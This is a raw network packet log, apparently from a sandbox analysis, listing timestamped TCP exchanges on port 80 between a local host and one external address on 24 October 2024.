Oct 24, 2024 18:09:10.707482100 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.707509041 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.707542896 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.707556009 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.707556009 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.707576036 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.707588911 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.707623005 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.708326101 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.708375931 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.708380938 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.708410978 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.708425045 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.708445072 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.708465099 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.708481073 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.708483934 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.708528996 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.748085976 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.748136997 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.748173952 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.748287916 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.748287916 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.748289108 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.779437065 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.779505968 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.779541969 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.779575109 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.779609919 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.779644966 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.779707909 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.779707909 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.779707909 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.779707909 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.779709101 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.779709101 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.780462027 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.780495882 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.780529022 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.780559063 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.780595064 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.780658007 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.780658007 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.780658960 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.780658960 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.780658960 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.826143980 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.826304913 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.826325893 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.826378107 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.826379061 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.826415062 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.826430082 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.826447964 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.826464891 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.826482058 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.826502085 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.826514959 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.826529026 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.826550961 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.826585054 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.826642990 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.826642990 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.827155113 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.827207088 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.827277899 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.827349901 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.827366114 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.827366114 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.827367067 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.827383041 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.827440977 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.827440977 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.827708006 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.827759027 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.827766895 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.827792883 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.827815056 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.827826023 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.827836037 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.827866077 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.827876091 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.827910900 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.867048979 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.867189884 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.867222071 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.867259026 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.867266893 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.867266893 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.867266893 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.867398977 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.898545027 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.898602009 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.898638964 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.898673058 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.898705959 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.898736954 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.898736954 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.898736954 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.898736954 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.898817062 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.898832083 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.898885012 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.899167061 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.899219990 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.899658918 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.899693966 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.899712086 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.899730921 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.899738073 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.899766922 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.899776936 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.899804115 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.899816990 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.899838924 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.899856091 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.899883032 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.945703983 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.945898056 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.945923090 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.945980072 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.945986986 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.946016073 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.946028948 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.946067095 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.946069956 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.946100950 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.946119070 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.946134090 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.946142912 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.946170092 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.946199894 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.946276903 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.946291924 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.946312904 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.946326971 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.946345091 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.946367979 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.946382046 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.946387053 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.946417093 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.946460962 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.946460962 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.946644068 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.946692944 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.946697950 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.946733952 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.946747065 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.946768045 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.946778059 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.946804047 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.946811914 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.946840048 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.946851969 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.946875095 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.946891069 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.946929932 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.947674990 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.947727919 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.986596107 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.986649036 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.986685991 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.986788034 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.986788988 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.986788988 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.018090963 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.018160105 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.018198013 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.018214941 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.018215895 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.018233061 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.018269062 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.018305063 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.018318892 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.018318892 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.018318892 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.018346071 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.019469023 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.019505024 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.019527912 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.019541025 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.019555092 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.019577026 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.019582033 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.019613028 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.019634962 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.019654036 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.065018892 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.065094948 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.065128088 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.065133095 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.065169096 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.065200090 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.065203905 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.065200090 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.065229893 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.065239906 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.065248013 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.065274000 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.065289021 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.065309048 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.065325022 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.065346003 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.065459967 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.065494061 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.065512896 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.065526962 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.065540075 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.065594912 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.065768957 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.065818071 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.065850973 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.065884113 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.065916061 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.065949917 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.065956116 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.065957069 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.065957069 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.065957069 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.065957069 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.065984964 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.066037893 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.066037893 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.066884041 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.066936970 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.066956043 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.066975117 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.067025900 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.067025900 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.106004000 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.106050014 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.106086969 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.106123924 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.106199980 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.106199980 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.106199980 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.106199980 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.137474060 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.137517929 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.137553930 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.137588024 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.137617111 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.137648106 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.137681007 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.137716055 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.137737989 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.137737989 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.137737989 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.137738943 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.137738943 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.137738943 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.137738943 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.137845039 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.138277054 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.138386011 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.138416052 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.138449907 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.138463974 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.138463974 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.138463974 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.138485909 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.138521910 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.138536930 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.138536930 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.138566017 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.184201002 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.184377909 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.184417963 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.184453011 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.184482098 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.184484959 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.184509039 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.184519053 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.184528112 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.184571028 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.184572935 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.184604883 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.184617043 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.184639931 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.184648991 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.184674025 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.184715033 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.184715033 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.184901953 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.184935093 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.184954882 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.184967041 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.184976101 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.185014963 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.185195923 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.185245991 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.185260057 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.185281038 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.185305119 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.185316086 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.185326099 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.185349941 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.185369015 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.185395956 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.185771942 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.185826063 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.185827017 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.185861111 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.185868979 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.185903072 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.185956955 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.185991049 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.186008930 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.186034918 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.225048065 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.225078106 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.225111008 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.225143909 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.225164890 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.225164890 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.225164890 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.225253105 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.256458044 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.256505966 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.256542921 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.256663084 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.256663084 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.256663084 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.256697893 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.256732941 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.256750107 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.256767988 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.256798029 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.256800890 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.256822109 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.256839037 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.256848097 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.256905079 CEST	49994	80	192.168.2.6	185.215.113.16
